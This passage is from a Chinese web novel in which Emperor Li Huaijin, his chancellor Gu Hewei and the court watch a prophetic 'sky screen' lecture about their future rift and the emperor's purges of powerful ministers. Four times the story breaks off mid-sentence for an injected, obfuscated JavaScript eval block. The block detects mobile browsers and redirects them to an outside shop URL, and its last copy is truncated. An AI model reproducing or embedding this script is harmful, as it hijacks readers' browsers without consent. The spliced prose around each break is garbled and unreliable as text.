这样的能臣……如何要受这样的羞辱。 又为何会走到万劫不复。 【无论性情怎样温和,李怀瑾的确是一个天生的政治生物。他有敏锐的政治嗅觉,看得到机会,也握的住机会。无论将李怀瑾引上这条路的是不是顾何惟,也无论有没有别人提出让他联络朝臣的建议,李怀瑾都会这样做。 因为他是李怀瑾,他是昭文帝。 为了蓬勃生长,扎根在宫墙内的梧桐会奋力地吸取土地中的营养,让自己变得高大。李怀瑾必然会寻求向上的机会,无论是抓住顾何惟,还是抓住其他朝臣,借着他们的力,义无反顾地向上走。】 金眸映着日光,熠熠生辉。 李怀瑾轻叹了一口气。 他更喜欢梧桐这个代称。 太阳太大了,是人无法比拟的。 太阳生来就是太阳,生来光芒万丈,生来照耀四方。太阳哪里会痛苦,哪里会渺小,哪里需要拼尽全力,才能让自己被看见呢。 李怀瑾不认为他是太阳。与太阳相比,扎根在土地里,自己汲取营养,自己生长,自己不断向上攀去的树木,倒更像他。 【李怀瑾究竟联络了多少朝臣,我们暂且不表。可遇到那么多人,握住那么多手,借了那么多力。对李怀瑾而言,顾何惟却依旧特殊。 人总会计较得失,老奸巨猾的臣子更是这般。 遇到的朝臣越来越多,李怀瑾学到的东西越多,也愈发成熟。他疯狂的从他们身上汲取知识,汲取营养,汲取任何能让自己生长的东西。他展露出自己的优势,藏匿起自己的缺点。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17430707|200920||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他把自己变成了太阳,光芒万丈,让那些臣子选择他,站在他身边。 可面对顾何惟时,李怀瑾依旧是那个李怀瑾。那个有缺点,不完美的李怀瑾。 太祖喜欢的,是贴合他心意的七皇子。朝臣欣赏的,是温和稳重的七殿下。而只有顾何惟,看到的是真正的李怀瑾。他见证过李怀瑾的脆弱,见证过李怀瑾的挫败,也见证过李怀瑾的努力,见证过李怀瑾的成功。只有在他面前,李怀瑾不必装模作样,不必给自己贴上成熟的标签。 他只要做自己,做李怀瑾。 因为只有顾何惟,只有那时的顾何惟,不会计较得失,不需要李怀瑾用任何东西去笼络。 只有顾何惟。】 “……” 顾何惟终于抬眸,看向天幕。 当时只道是寻常。与天子同相伴的时间太长,顾何惟已经不记得那时的自己究竟是怎样的想法。不计较得失吗?或许吧。哪怕是再冷心冷情的人也有真心,顾何惟不可否认,自己对天子献出了真心与忠诚。 人贵在自知,顾何惟是一个有自知之明的人,也是一个深切了解李怀瑾的人。 天子的性格很有趣。明明尚且年轻,他却不如先帝般喜好情感用事,可也如先帝般有着充沛的喜怒哀乐。但天子不是常人,天子的喜爱会带来荣耀,光辉门楣,天子的怒火会带来祸患,身死名裂。 顾何惟清楚自己的性情。他的确不是正人君子,他承认自己的卑劣,也承认自己的野心。 但这些从不面对李怀瑾。 顾何惟不知道未来的自己会怎样想,可无论曾经还是现在,他对天子都没有半分利用之心,更没有半分不敬与逾矩。 【真诚,是初恋的必杀技。】 天幕仍在喋喋不休,顾何惟也再度垂下了眼。 天子不会有错,有错的只会是臣子。 既然与天子走到万劫不复,那便必然是他错了,错到一向对他宽容的天子都无法忍受。 可顾何惟不明白。 已成为位高权重的丞相,成为先帝留下的顾命之臣。 他又有什么不满足,要惹得天子厌恶呢? 【最初的顾何惟与李怀瑾都很真诚,他们相知相伴,是最好的挚友,也可以称之为对方最亲密的人,最信任的人。 而无论是初恋,还是挚友,亦或是君臣。 从任何角度出发,最初的顾何惟都是完美的。 他教会了李怀瑾什么是情,什么是权,什么是皇子该做的事,什么是太子该做的事,什么又是皇帝该做的事。十二岁的顾何惟拉着李怀瑾的手,教导李怀瑾读书写字。十八岁的顾何惟同李怀瑾一起披荆斩棘,二十四岁的顾何惟陪着李怀瑾成为曾经只能仰望的人。 他和李怀瑾一起,从冰冷刺骨的雪地,走到了金碧辉煌的大殿。 他托举李怀瑾到了至高无上的位置,他看着李怀瑾一步步从野草蜕变成太阳。】 【如果一切终结在此时,或许这只是一个年少情深,又在顶峰并肩而行的完美故事。丞相是千古一相,培养长大的天子也是千古一帝,无论在哪里,这都是毋庸置疑的般配。】 【可人都是会变的。】 【顾何惟会变,李怀瑾也会变。】 5. 难测 哪有一成不变的人。 光阴流转,如大浪淘沙。一成不变的人无法站在高堂,无法成为最终的胜利者。 追随天子十三载,顾何惟看着天子从字都写不好的稚童,长成了今日这副模样。他陪着天子争权夺利,伴着天子步步高升,亲手将曾经欺辱天子的人一个个按进了烂泥里,永世不得出。 天子变了,不再是曾经那个默默无闻的皇子。 他也变了。 【太史公曾说:患生于多欲,而人心难测也。】 【人心难测,君心更难测。 登基后,李怀瑾与顾何惟的确有过比过去更加甜蜜的蜜月期。但,此刻的深情不能代表永恒,纵使年少情深,李怀瑾也是一个合格的帝王。 哪怕他也有喜怒哀乐,爱恨情仇。但无论是喜爱还是厌恶,无论是热情亦或冷漠,私情都不会影响他做出最理智的判断,最正确的决策。 这份理智带着大昭走向辉煌,可总有人不喜欢这样的李怀瑾。毕竟若要接受这份理智,就要接受与理智如影随形的多疑。】 【这时候就会有人问了:独家讲坛独家讲坛,你不是说李怀瑾温和真诚吗。这样多疑的君王,也算的上温和真诚吗? 是的,李怀瑾是多疑的,也是温和真诚的。 人不是平面,不是寥寥几个词语就能概括。单论性情,他的确温和有礼,让任何人都能如沐春风。 但这是因为他想。 李怀瑾是帝王,他固然可以暴戾,固然可以做一个冷酷无情的暴君。可李怀瑾没有这样做。理智告诉他,当下的大昭需要怎样的君王,而他也选择以温和的皮囊包裹自己。他拥有昭太祖没有的政治头脑,拥有选择机会。 是他选择做一个明君,做一个温和的人,做一个真诚的人。】 【真诚,让李怀瑾从不吝献出真心。可多疑,也让李怀瑾苛责得到他真心的人。 而顾何惟也是人。 是人,就不可能永远完美无缺。】 人非草木,孰能无情。 李怀瑾自认天幕所言过分偏颇。 除了性命与家世,没有什么生来便能拥有。所谓“政治生物”,不过是他摸索着,磕绊着学来的一切。同样,他也并不认为自己温和,更不需要顾何惟完美无缺。 三省六部,各司其职。没有臣子完美,没有人完美,也没有帝王完美。只要有能力,足够的能力,李怀瑾并不介怀包容他的臣子。 何况这世上,哪怕连他这个天子都做不成真正的圣人。正相反,身居高位者总是需要工于心计,权力会将他们滋养成老谋深算的存在,也总会催生出一些私心,这无伤大雅。 他并不苛责臣子,也接受顾何惟的不完美。 【天下岂有廿四岁丞相乎? 而顾何惟就是这样年轻的一位丞相。家族与自身才华让他早早走上高位,成为兵部侍郎,也承担了前朝与民间的流言蜚语。他太年轻了,年轻到除了太祖太宗,没有人信任他,也没有人认为他坐的好、坐的稳这个位置。 可顾何惟并不是软性子。他冷酷,坚定,决绝。毫无疑问,是一个拥有强大内核的人。 纵使是凭借着父亲余晖,凭借着太祖的爱屋及乌上位。但在位不过三年时间,他就凭借着自己的能力步步高升,成为手握实权毋庸置疑的丞相,并在太祖临终之际,荣封顾命之臣,成为李怀瑾的左膀右臂。】 【而也是顾命之臣这个身份,撕扯出了顾何惟与李怀瑾最大的裂痕。】 “……” 人总会分别。或因不同的志向,或因不同的去路,或因生死。年少的顾何惟心知肚明,也并不奢求有人能长久伴他。 可在遇到李怀瑾后,顾何惟从未想过他们也会分道扬镳。 皑皑白雪中的红色总是很刺眼,那时的李怀瑾那么的小,像一只羔羊,拖着摔断的腿,在他的怀中蜷缩。那双慌乱却警惕的眼颤抖着,小小的手揪住他心口的衣物——那是最方便掐住他脖子的角度里,最不容易让人起疑的位置。 顾何惟看得清楚,可他什么都没说,只将李怀瑾送到了太祖与父亲面前。 父亲曾经并不喜他。 身为太祖皇帝麾下的首席文臣,父亲正直坚毅,忠君爱国。哪怕死,都是为太祖皇帝而死。可他呢,明明是父亲独子,却长成了孤僻模样,满心肮脏谋算,甚至对太祖皇帝都多有不屑。 直到他救下了李怀瑾。 得到太祖皇帝与父亲的褒奖,年少的顾何惟并不在意。可跟在父亲身后离去时,他却第一次回眸,看向高大的金銮殿。 …… 太阳,在金銮殿上。 …… 【皇帝的权力来自何方?】 【权利从不是天赐,更没有什么真正的天子。 一切都是争来的。 独家讲坛认为,皇帝权力来自于兵权,来自于威严,来自于惧怕。只有手握兵权,拥有威严,被九州万方敬仰的、惧怕的,才能叫做天子,叫做实权天子。 而初登基时的李怀瑾,真的算得上一个实权天子吗?】 乌黑的眸颤动,顾何惟猛地看向天幕。 【是问,那时的兵权在谁手里?在太尉手里。那时的威严在谁身上?在顾何惟与孔克己身上。那时惧怕的目光投向谁?投向的是丞相,是太尉,是朝中高官。 独独不是皇帝。 皇权被分化,是任何拥有上进心,拥有不甘的皇帝,都无法忍受的事。 而李怀瑾又是天生的帝王之才。】 缓缓屏住自己的呼吸,顾何惟的眼睫难以遏制地颤了颤。 他已经明白了。 【于是,太尉死了。 死于藏匿不住的反心,死于私藏京郊的兵甲。】 太尉:?!! 忽然死去的太尉惊惧难安地看向天幕,又猛地看向天子。 “陛下——” 双膝重重落地,太尉万分惶恐。 “臣有罪!” 高台太高了,也太远了。而太阳在天子的身后,为天子镀上了一层璀璨的金边。金乌仿佛降落在了其身上,明亮的日光令天子的神情难明。 “……” “无妨。” 太尉看不清,只能听到天子温和道:“未来之事,尚未发生,也尚未查明。天幕所言有真亦有假,太尉何必如此。” 【直属于天子的仪鸾司,在太宗朝第一次成为了挥向百官的利刃,成为高悬在每一个官员头上,随时可能落下,劈的他们身首异处的长剑。 太尉死的很突然,突然到前一日,他还是高高在上的太尉。后一日,就死在了仪鸾司的刀下。正因如此,几乎所有人都察觉到天子的动作。以至于在太尉死后的第一刻,左右丞相就入宫面见天子。而史书中记载的,唯有起居录上的一行:“帝大怒”。 李怀瑾的愤怒,从不是小发雷霆。】 宗庙旁,仪鸾司悄无声息地退出了部分,李怀瑾平静地看着不敢起身的太尉。 当下的他算是实权天子吗? 这不重要。毕竟,无论此时算不算,他都会成为实权天子。 唇边的笑依旧盈盈,和煦的神情几乎嵌在脸上。无论那双金眸下压抑着怎样的情绪,无论心中筹谋怎样的大事,李怀瑾依旧笑的温柔,笑的得体。 【只要不是太后掌权。那皇帝夺权,便几乎是与所有臣子为敌。 杀死太尉,李怀瑾不能做到更漂亮吗?他可以。 但皇帝是孤家寡人。当利益相悖时,臣子往往会统一战线。他们排挤皇帝,蒙骗皇帝,让皇帝难以找到可利用,可下手,可挑拨的部分。 也是因此,那时的李怀瑾几乎没有朝臣可用,只有仪鸾司。 特务治国绝不是好事,可没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17430708|200920||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有兵权,拉拢朝臣上位的弊端就是这样。左右逢源的朝臣永远不会希望皇帝大权独揽:皇帝大权独揽,又要他们何用? 李怀瑾很快便意识到这样不行。他需要得到只忠于他的朝臣,需要只属于他的刀,需要借力打力,用朝臣去攻击朝臣。 当时,国库空虚。而既然第一战打的不算漂亮,李怀瑾就再次绸缪。 这次,死的是户部尚书。】 户部尚书与太尉一同惊恐。 【虽比不上谋反重罪,但户部尚书贪污受贿,死不足惜。 而也不比杀死太尉时的漏洞百出,户部尚书的案子让任何人都挑不出毛病。无人知道李怀瑾究竟何时得到了他的忠臣,但无论是弹劾搜查,落狱问斩,户部尚书死的每一步都循规蹈矩。可人人都知道,是天子想要杀他。 只是,在户部尚书死后,顾何惟却又去见了李怀瑾。 ——帝大怒。】 顾何惟缓缓闭上了眼。 他见过愤怒的天子,却从未让天子因他而怒。 纵然生性冷傲,但在天子面前,顾何惟是圆滑的。他从不会与天子的想法相悖,从不会选择站在天子的对立面。 顾何惟能感受到自己心脏在剧烈跳动。 为何会这样。 未来的自己为何没有主动站在天子身边,成为天子的刀。而天子,也会对未来的自己也产生怀疑吗。 【两次愤怒,两次失望。 在最初,李怀瑾没有想要迁怒顾何惟。哪怕太尉与顾何惟多有来往,同伴的选择也不能代表他的选择。 可李怀瑾的忍耐也不是无限的。 明明私藏兵甲的是太尉,明明成为蛀虫的是户部尚书,但顾何惟却几次选择站在他的对立面。于是,整整两次大怒后,李怀瑾终于将顾何惟视作了敌人。 毕竟,这是顾何惟自己的选择。】 【无论顾何惟的本心如何,无论顾何惟的本意如何,自这两次后,在李怀瑾眼中,他就彻底站在了李怀瑾的对立面。】 天幕说的笼统又模糊,对这些尚未发生的事,李怀瑾其实并没有什么实感。 但太尉手中的兵权总是要拿回来的,朝中蛀虫也要杀。还未做出的选择被天幕吐出,一切谋划似都成了空,李怀瑾却并不发愁。 仪鸾司已开始行动。 太尉,活不过明天。 【只是从顾何惟的角度,他真的做错了吗。 除了后世的锦衣卫与东西两厂,从没有特务机构拥有仪鸾司的权利。仪鸾司在大昭,几乎开天辟地。 使用特务机构,私自调查臣子,杀死臣子——哪怕臣子真的犯了大罪,在顾何惟与孔克己,以及当时的所有臣子看来,都是皇帝的不是。皇帝应该修己修身修性,怎么可以这样任性呢?古往今来,哪里有圣君是这样任性的呢? 可偏偏,李怀瑾就是这样任性,这样霸道的圣君。】 当下的李怀瑾能够理解做出这样选择的自己,也能够理解未来劝阻他的顾何惟。 他也是读圣贤书长大的。 他知道自己在天幕口中的那个未来做的不体面,他也能够理解顾何惟为什么要劝阻自己。身为臣子,劝谏本就是顾何惟的职责之一,何况他真的做的很难看。 可能理解,不代表能接受。 他为什么做的不好看?因为没有人支持他。顾何惟为什么不支持他?顾何惟凭什么不支持他。从小到大,顾何惟从没有拒绝他,从没有否定过他,更从没有阻挠过他的任何决策。 那为什么在天幕口中的未来,顾何惟会这样对他。他为什么会做错?因为顾何惟。所以,哪怕他真的错了,真的需要劝谏,那个人也不该是顾何惟。 顾何惟就应该永远站在他身后,永远支持他。 可以是任何人站在他的对立面。 但那个人,无论如何都不该是顾何惟。 6. 惶恐 李怀瑾并不认为自己霸道。 顾何惟支持他是天经地义,顾何惟反对他才是逆天而行。 在这些事上,顾何惟不仅没有资格反对他,更没有资格劝谏他否定他。正相反,顾何惟应赞誉他,赞誉在四面楚歌中,他依旧能够杀死想杀的人,拿回本属于他的东西。 这不值得赞誉吗? 当然值得。 轻轻抬首,李怀瑾的目光却落到顾何惟身上。 拨乱反正。 顾何惟并不是不撞南墙不回头的人,触怒自己对他并无好处,他也不会想和天子走到那一步。这次,无论是太尉,还是户部尚书,顾何惟都会替他处理。 【谁都没有做错,但又好像谁都错了。 那时的李怀瑾与顾何惟便是这般——天子需要除去肮脏的臣子,拿回自己的权利;臣子则在担忧天子会一发不可收拾,变得弑杀暴戾。百官劝谏是必然,而身为左丞相,与天子相伴长大的左丞相,顾何惟也必然要承担起这个责任。 劝谏、与试探的责任。】 【多数人都会被环境左右。而臣子也是人,许多朝臣的一生也只是随波逐流。傲骨铮铮者终是少数,只要没有到生死存亡之际,他们都可以闭上眼睛,捂住耳朵,装作岁月静好,什么都没看见,什么都没听见。 君不见太祖朝,从没有臣子敢左右真正弑杀暴戾的太祖。 那为什么到了太宗朝,他们就心思浮动,妄图左右李怀瑾呢?】 唇角缓缓弯起,李怀瑾的指尖难以遏制地颤了颤。 十二冕旒吞没了眼底的讥讽。而下首,惊恐的朝臣间不知何人率先撩起衣袍。如倒山倾海般,群臣齐齐下跪,向上首的天子叩首。 “臣惶恐——” 天子并未出言。 【昭太祖虽在内政上一窍不通,但那一手长刀舞的虎虎生风,生生力压群雄,打下了半片天下。他的霸道是显而易见的,任何人妄图蒙骗他,左右他,都逃不过一死。 可李怀瑾呢? 他是依靠文臣上位的深宫天子。年少时的苦难令他并不强壮,甚至有些虚弱。而温和的性情更给了朝臣错觉,认为他是好摆弄,好欺负的傀儡。 于是臣子决定国策,提出与士大夫共治天下,让天子垂拱而治。 天子,你都是天子了,还治理国家做什么?人不能这么贪心。 何况你一个深宫天子懂怎么治理国家吗?你一个深宫天子知道该怎样让百姓过得更好吗?你一个深宫天子听说过周礼吗?你一个深宫天子明白是什么是政治,什么是权力,什么是斗争吗? 他们不一样。 他们要么是与太祖打天下的文臣谋臣,要么是千军万马过独木桥杀出的佼佼者。只有他们才明白什么叫治理国家,只有他们才懂得什么是政治,什么是权力,什么是斗争。 当然,那时的天下必须要有皇帝。但皇帝都是皇帝了,做一个象征皇权的工具、玉玺,稳坐高台不好吗。 为什么一定要与他们争呢。】 “臣惶恐——” 山呼海啸。 此起彼伏的声音被风卷着,送向了高台,送向了远方。 “呵。” 天子终于笑出了声。 珠帘吞没真实的情绪,李怀瑾微微垂眸,看向下首——曾当面斥责他伪善的臣子颤抖,曾妄图以一人而定国策的臣子缄默。 天幕出现大谈妄言,似也并非尽是坏处。 李怀瑾想。 他还不懂这些臣子吗。 自命不凡,自视甚高,披着干干净净的皮,藏着下面肮脏污秽的肉。明明整个人都已经发烂发臭,却依旧认为自己是竹,认为自己是鹤,认为自己出淤泥而不染,濯清涟而不妖。 “不过天幕戏言罢了,众卿如此,朕心难安。” 叹息着,天子抬了抬手:“好了,不必如此。我与众卿相识已久,如何不知众卿的为人呢。” 【人总是被身份裹挟。 身为百官之首,顾何惟必然也被官位裹挟。可身为李怀瑾信任的人,顾何惟也没有辜负这份信任。在百官多将天子视作吉祥物时,顾何惟仍保持本心。 他依旧做着李怀瑾的独臣,没有豢养门客,没有拉拢朝臣,哪怕与太尉来往也只是为了政局,从没有半分私心私情。 他将天子视作效忠的唯一。 或许正因如此,顾何惟才会在得知李怀瑾杀死太尉,杀死户部尚书后,劝谏李怀瑾。 他是依附天子而生的丞相,他将自己只视作李怀瑾的臣子。 他希望天子保持着无瑕,保持着干净,保持着圣洁,不要被任何人攻讦,不要去做脏事恶事。】 【或许又会有人说:独家讲坛独家讲坛,顾何惟难道不是看热闹不嫌事大吗?难道不是站着说话不腰疼吗?被看不起的不是他,被朝臣妄图架空变成傀儡的也不是他,甚至他还是丞相,是既得利益者之一,他有什么资格说这样的话。】 天幕揪着不放,群臣不敢起身。 李怀瑾自也不会求他们起来。略过深有自知之明的群臣,天子的目光再度落回到天幕上。 【可如果,顾何惟未说出口的话,是脏事恶事留给他去做呢?】 【曾经,大昭的兵权被太祖握在手里,从未想过给予李怀瑾。 仪鸾司是天子亲卫,不可能被太子调动。尚且为太子李怀瑾可用之人不多,顾何惟就是其中之一。 纵使他是高官,他也义无反顾的替李怀瑾做事。曾经欺辱李怀瑾的宫人是怎样消失的?当面羞辱李怀瑾的朝臣是怎样死的?包括看不起李怀瑾的皇子,最终结局又如何?】 骄矜的天子轻轻颔首。 所以说,他喜欢顾何惟。 哪怕身为丞相,顾何惟也替他走入烂泥,替他做尽坏人。当下的李怀瑾没有被所谓“信任之人背叛”的愤怒冲昏。他能明白顾何惟的想法,纵使不接受。而显然,未来的顾何惟依旧有分寸,有能力,且对他足够忠诚。 …… 他真是更喜欢顾何惟了。 …… 【这些,都是顾何惟做的。】 【——我做你的白手套,你只要干干净净就好。 顾何惟显然没有将这样直接的话说出口,正在气头上的李怀瑾也就装作没听懂。 一个认为对方没有选择自己,一个认为对方应当与自己致歉。顾何惟将自己视作了败犬,灰暗离去。李怀瑾则一直等待着顾何惟直言,不再以言外之意暗示。 可他什么都没有等到。】 “……” 顾何惟的眼帘垂的更低。 【或许有人认为,这样的李怀瑾有些任性。 但爱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17430709|200920||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 情需要沟通,君臣不是。天子是天子,天子本就有任性的资格,有骄纵的权利。 何况,顾何惟也乐得宠溺。 因此,李怀瑾在旁人面前近乎完美,却对顾何惟却多有恣意。以至于直到中年,李怀瑾才文帝随笔中提起,自己对顾何惟似乎有些不公,有些任性。】 任性吗?骄纵吗。 或许吧。 顾何惟平静地想。 可为人臣,他本就要接纳天子的一切。 其实多数时,天子对他也是对旁人那副模样,彬彬有礼,让人挑不出错处。这样的天子固然很好,可顾何惟还是更喜欢那样的天子,喜欢在他面前喜怒哀乐皆有所展露,不像木偶般的天子。 天幕说,他宠溺天子,但顾何惟并不这样认为。他没有资格宠溺天子,没有任何人有资格宠溺天子。 只有天子有资格宠爱别人。 而顾何惟想,他大抵就是被天子宠爱的。 天子既然能在他面前做自己,不披上那张伪善的皮囊,不戴上那张温和的面具,不与他虚与委蛇。 便是他的荣幸。 【可在爱你的人眼中,你做什么都是可爱的。 毋庸置疑,顾何惟深爱着李怀瑾。李怀瑾赐予他的一切,他都视若珍宝甘之如饴。无论是任性的李怀瑾,还是骄纵的李怀瑾,他都认为很可爱。他接纳着李怀瑾的一切,接纳着李怀瑾的真实,接纳着李怀瑾的不完美。 他爱着所有的李怀瑾。 而李怀瑾,大抵也是爱他的。】 可爱这样的词,顾何惟从不会用到天子身上。 他对天子是恭敬的,更是仰望的。在他看来,天子虽不孔武,却也别有气度,是寻常人无法比拟。可爱的东西太多了,可天子就是天子,任何事物都无法与天子相提并论。 至于爱。 顾何惟想,他的确爱着天子。 为人臣,敬爱君王是他们的职责。何况天子是他选择的天子,是他主动追随,主动辅佐的天子。 天子不似先帝。 先帝荒唐。可天子却如天幕所言,是璀璨的太阳。 大昭的太阳。 【为何是大抵? 许多人都说,李怀瑾无疑喜欢顾何惟,但爱,却好似算不上。毕竟爱具有排他性,具有独占性。可整个文帝朝大家叫得上名字的臣子,都是李怀瑾的翅膀。 顾何惟不过是其中之一。 纵然是特殊的,纵然是不一样的,纵然是唯一的竹马,但在那么多各有个性,各有能力;在那么多深爱着李怀瑾,追随着李怀瑾的人中,他也有些泯于众人。 他凭什么得到李怀瑾的爱呢。】 爱? 李怀瑾微笑着。 他为何要爱顾何惟呢。 君臣之情如何能比拟成爱。他不是顾何惟的父母,不是顾何惟的妻,更不是顾何惟的妾。他不想爱顾何惟,顾何惟更不需要他的爱。 身为先帝的臣子。依靠先帝喜爱才走到今日的李怀瑾无比清楚,天子的爱是良药,也是毒药。 爱之深,恨之切。 李怀瑾自认不苛责顾何惟,因为他并不爱顾何惟。 爱,会令人挑剔被爱之人的一切。他若真的爱上顾何惟,才会将顾何惟引向天幕口中的那个未来。 万劫不复的未来。 7.故事 【凭李怀瑾是个真诚的人。 真诚的人往往将心比心。顾何惟待李怀瑾很好,所以李怀瑾欣赏顾何惟。顾何惟将李怀瑾视作唯一,李怀瑾便喜欢顾何惟。顾何惟对李怀瑾忠心耿耿,李怀瑾也认为顾何惟最合他的心意。 在独家讲坛看来,这就是爱,双向奔赴的爱。】 李怀瑾:“……” 领悟了天幕逻辑,李怀瑾忍俊不禁。 这也能被称为爱吗?天幕未免太轻浮,也太稚嫩了。 【天子有资格赐予任何人爱,无论是百姓,妃嫔,或臣子。 后宫在争宠,前朝也不逊色。许多臣子会主动渴求天子的爱,渴求天子的目光,天子的包容,天子的真心。哪怕只在天子心里占了半寸,他们也会大张旗鼓,恨不得天下人都知道天子爱他。 顾何惟却很低调。 低调到身为本系列文献的《昭文故事》中,顾何惟的篇章也会出现前后矛盾。同一时刻,同一件事,前文分明说他得太宗真心喜爱,因此委派;后文却说太宗对他排斥怀疑,送他去死。 固然,李怀瑾对顾何惟的前后态度当真如此两极,可李怀瑾的态度从不是断崖式改变。哪怕那时在李怀瑾看来,顾何惟已决定站在他的对立面,决定弃他离去,他也没有直接一刀切,而是依旧给了顾何惟机会。 重修旧好的机会。】 所以说,他真的很喜欢顾何惟。 李怀瑾似叹非叹。 哪怕宽容,也极少有君王会做到这一步,极少有君王会对臣子低头。他对顾何惟的真心,想必青史可鉴。 【但顾何惟却没有选择握住。】 “……” 顾何惟神色不变。 【爱真的有排他性。 顾何惟是文臣,自古文臣多清高,而在情爱一事上,顾何惟将清高贯彻到了极致。要知道那时,李怀瑾的身边已有了仪鸾司指挥使薛缭,身为李怀瑾的新宠,薛缭几乎完全取代顾何惟白手套的身份。 所以,纵使明白天子的心意。但在顾何惟看来,他早已失去帮助李怀瑾的资格,与站在李怀瑾身旁的身份。 哪怕李怀瑾依旧爱他,可顾何惟不能只凭爱留在天子身边。哪怕能得到天子真心的人不多,而他顾何惟就是其中之一,但人心易变,只有利益不变。 他要为天子带来利益,才有资格留在天子身边。】 “……” 仪鸾司在今日前,都只是掌管礼仪的官署,从没有什么指挥使。而天子身边,更没有薛缭这号人物。 可纵使没有薛缭,也会有张缭王缭刘缭。 孔克己将头颅埋的更低。 苍老的双手落在眼前,感受着膝下的粗粝,孔克己忽然想,自己若被天子厌弃,离开朝堂,还有多少机会可苟活。 万劫不复…… 天幕所言在孔克己心上早已烙下痕迹,终于看出当今天子与先帝相似的孔克己不知该说些什么,又该做些什么。 他一非天子亲近之人,二非天子独臣,三非纯白无瑕。同时,曾经的他还妄图左右天子,定下国策,希望让天子垂拱而治。 孔克己并不认为自己能独善其身,逃离天子的铡刀。 先帝暴虐,百姓人人唾弃。当今更加聪明,为自己披上了仁君的皮囊,以温和遮掩自己真实的模样。可这不会改变当今的底色,不会改变当今也是唯我独尊之人。 顾何惟的万劫不复被天幕大书特书,只因他是天子亲近之人。 那他呢。 孔克己满心悲怆。 若他同样万劫不复,甚至更加惨烈。天幕也会将他的事迹,大书特书吗? 【可李怀瑾会在乎这些吗。 李怀瑾不会在乎。 他只看到顾何惟拒绝他,他只看到顾何惟不踩他递去的台阶。天子金口玉言,纵然没有明说,但李怀瑾表示自己会原谅顾何惟,便必然会原谅顾何惟。 哪怕他们都没有做错。 于是,顾何惟想着自己要为李怀瑾带来利益,想着只有带来利益,自己才有资格堂堂正正的回到李怀瑾身边,重新成为李怀瑾的宠臣。 但李怀瑾不会永远等他。 有些事错过了,就再也回不来了。】 是啊,逝水东去不复返。 有些事错过,有些机会错过,就再也不会回来了。 孔克己闭上了眼。 他曾认为先帝逝去,是天在救大昭——这样的话并不恭敬,也非人臣所能言,却是孔克己真实的所思所想。那时的孔克己庆幸,庆幸于新帝柔和,愿意听取他的意见,遵循文臣指引的方向,挽救内忧外患近乎濒死的大昭。 他曾真心实意,认为新帝是大昭的明君。 君不见休养百年生息养出的大汉,武帝几番痛击匈奴,便损耗殆尽。一代人有一代人的责任,一代人有一代人要做的事,操之过急只会令大昭二世而亡,甚至一世而亡。 但先帝听不进去。 这片土地已经太久没有一统,南北汉人的分化也非朝夕能改变。在当今崭露头角前,先帝认为自己的子嗣皆平庸。隋炀旧事历历在目,先帝不愿信任他们。而群狼环伺着大昭,先帝更不愿重蹈司马家覆辙,引得五胡乱华,成为天下的罪人。 他迫切的需要一个继任者,需要一个可以信任的继任者。若没有,他就只能打,只能战。无法荡平四夷,他就尽可能打服四夷,以保平庸的继任之君不会让大昭随他同去。 可先帝没做到。 百姓的怨言让他被迫停止了征伐,但大昭的问题不止出在征伐上。太多了,太多了,百年累积下的问题太多了,绝非一朝一夕便能改变,更非不善内政的先帝可处理。 直到当今出现。 天幕现世前,孔克己从未想过当今是怎样被送入先帝眼中。天幕现世后,孔克己也只认为那是天将降大任于斯人也,苦其心志,劳其筋骨,饿其体肤。 仅此而已。 谁没吃过苦呢,谁不是摸爬滚打走出来的呢。 何况,哪有太监敢那般对待皇子?孔克己不是天幕,他对皇宫暗处的规则心知肚明。 诚然,当今的确辛苦。但聪颖的殿下也让孔克己看到了希望,看到了大昭不必覆灭的希望。他迫切希望曾经只是殿下的当今登基,而不负众望,先帝在当今长成为可独自处理内政的皇子后,便迫不及待再度征伐四夷。 这次,先帝终于死了。 死在了征讨北狄的路上。 载人离去的马车带回了尸骨,太子殿下登基为帝,休养生息。 一切都在向孔克己所希望的发展,直到天幕出现,抛下一个又一个重雷,也抛下了信奉无为之治的孔克己。 【天子是天下的中心,天子身边的人总是前仆后继。 顾何惟没有接住的东西,不会为他永远留着。顾何惟没有站住的位置,也不会永远为他空缺。李怀瑾并不是会强求的帝王,顾何惟不要,他就不会再给。 于是,那些曾经 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 